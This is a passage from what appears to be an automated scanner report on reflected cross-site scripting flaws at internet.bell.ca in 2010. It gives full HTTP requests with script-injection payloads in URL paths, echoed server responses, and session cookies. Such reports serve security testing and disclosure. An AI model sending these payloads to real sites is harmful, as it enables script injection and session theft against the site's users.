Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:36 GMT
Connection: close
Set-Cookie: SMSESSION=2hELD0SiERTy+Kb3PN80vyul0p2ULxrrRtgkTqwmagO7rupEwnUAdD7t2ej3tkKXVGoYjxxUshnmhjXLlbdKSpq1KrjJJF4LJClnUGtO9Hz2NiCIBhzPQcYzyZ06//LHKRdq75jrd6yuE80NtVkkEZ7gMliY4M305n+VVuJeWnshhwuq5x4pislYv8ZJTQImzhnCNR414DhMfz5dA089AnMOro2v6eXKjj7tySanJjLgRDce06Iu6S65QDTrGUBi+T2cEmicpW+ULSFcr8SMuuHZ7yYNDOMifuRDfv7h+zbnIeRLx1qRwQ==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:36 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:36 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:36 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:36 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:36 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:36 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:36 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:36 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:36 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:36 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/jsf6812"><script>alert(1)</script>0be9f513a04/jquery.selectbox.js" />
...[SNIP]...

2.61. http://internet.bell.ca/js/jquery.selectbox.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/jquery.selectbox.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d90d8"><script>alert(1)</script>5dbf19eedd5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/jquery.selectbox.jsd90d8"><script>alert(1)</script>5dbf19eedd5 HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:52 GMT
Connection: close
Set-Cookie: SMSESSION=CW56LD2FT7nuKpr5zYHJEUC/eJWciR6lr2Tl8/0V98YUjld4AvsF+PhSOA7YL6316jy5XuBQE12CsOXFJJY407k2mZaT1UU8FB4UfAa3skkLfmkScgTeg52zZ20vKO6YciRRHDcUgGg33pp1yeqRcQikVl+TS6/huR1o76JHWIFcaJTKHTSAztPETIYjFk5lCFO2Lu33bCVCFUdoK4hMn5Zl/EDOYmY0Wsc0IxjpT1K6Dy1q5nSan73NanN9Ff1jRf5yw7tX45ncGY8uLS+iSOSKhROHyHz+KKs0qqtKUmR+YqS/9o5yUg==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:53 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:53 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:53 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:53 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:53 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:53 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:53 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:53 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:53 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Pour%20commencer%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Comptes%20et%20factures%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Courriel%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22S%26amp%3B%23233%3Bcurit%E9%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22R%26amp%3B%23233%3Bseautage%20%26amp%3B%23224%3B%20domicile%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22D%26amp%3B%23233%3Bpannage%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20introuvable%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Efr%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BAccueil%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSoutien%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:53 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/js/jquery.selectbox.jsd90d8"><script>alert(1)</script>5dbf19eedd5" />
...[SNIP]...

2.62. http://internet.bell.ca/js/jquery.sifr.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/jquery.sifr.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2f718"><script>alert(1)</script>dbbea97f5aa was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js2f718"><script>alert(1)</script>dbbea97f5aa/jquery.sifr.js HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:27 GMT
Connection: close
Set-Cookie: SMSESSION=+I9q+CVJODgLNI5qAH//awZZHuh7GvmjV+lrzHhAKOjI3WwR4AIXYecCTcn0eTwFc2k4ChOOH5ktcGht9wSFQWC0/8IaO23W4UwB7NZ8QQUDRT9NSwmCvCVrEiOc/rJdhWO/MQXXWnEMhu6ewMLG+k+lZNsLD4sToeeHakh+zN34CYhDjdMgU2t0yk+KL+n3ak5Du1sz8el8eGkhdKVLeeRqiNPwcrCwUwjLJ009tJo6p9H8FojiBRvA4ysWzzfAPnQgBbXLDwUCd9XauRdSiKt6T1Fq52+16S336gg78XzFIjPne87POw==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:28 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:28 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:28 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:28 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:28 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:28 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:28 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:28 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:28 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:28 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/js2f718"><script>alert(1)</script>dbbea97f5aa/jquery.sifr.js" />
...[SNIP]...

2.63. http://internet.bell.ca/js/jquery.sifr.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/jquery.sifr.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9fb93"><script>alert(1)</script>4dbbea171d6 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/jquery.sifr.js9fb93"><script>alert(1)</script>4dbbea171d6 HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
